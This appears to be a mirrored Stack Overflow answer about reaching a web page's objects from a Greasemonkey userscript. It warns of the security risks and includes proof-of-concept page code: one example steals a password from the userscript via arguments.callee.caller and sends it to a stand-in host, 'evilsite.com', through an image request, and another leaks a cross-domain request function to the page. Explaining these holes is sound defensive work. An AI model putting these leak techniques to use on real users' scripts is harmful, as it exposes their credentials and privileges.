How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?

你。 提交于 2019-12-04 08:43:30

I have found a method to solve the question. Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole.

The code below obtains a window object without the ambiguous restrictions of unsafeWindow. Any code executed in the scope of this window object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions.

Code

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

Security considerations

  • Wrap the code which uses methods/variables of this window object in a function, so that no dangerous holes are created. Do not allow this function wrapper to execute random code based on user input.
  • See Example 3 for the right method to implement $_WINDOW

Examples / Proof of Concept

Below, I will show possible cases in which the $_WINDOW object is implemented in a dangerous way. It's obvious that the Code at the "//page" was not expected by the developer of the GM script.
Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:/// protocol, for instance).
Example 3 shows the right method to use $_WINDOW.

I have used the magic __defineGetter__ function to detect calls to a variable, because most script developers do not know about this feature. Calling functions directly will also trigger the harmful code;

The main cause is laid at arguments.callee.caller. Inside a function, this object will refer to the function which has called the current function. When unsafeWindow is used, the arguments.callee.caller variable cannot be called. The function will then be displayed as function SJOWContentBoundary{ [native code]}. However, when $_WINDOW is used, the real GM function is visible and callable by the remote page.

Example 1: Reading (sensible) data from a GreaseMonkey script

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

Example 2: Leaking a cross-domain XMLHttpRequest method to an arbitrary page.
The creator of this GM script intended to modify the page according to a hash change. However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created.

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

Example 3: Correct usage
Variable getters should be defined such that no arbitrary requests can be made. Functions should not accept variables. If it's still necessary, wrap the getter in an anonymous function.

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";

Try:

var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!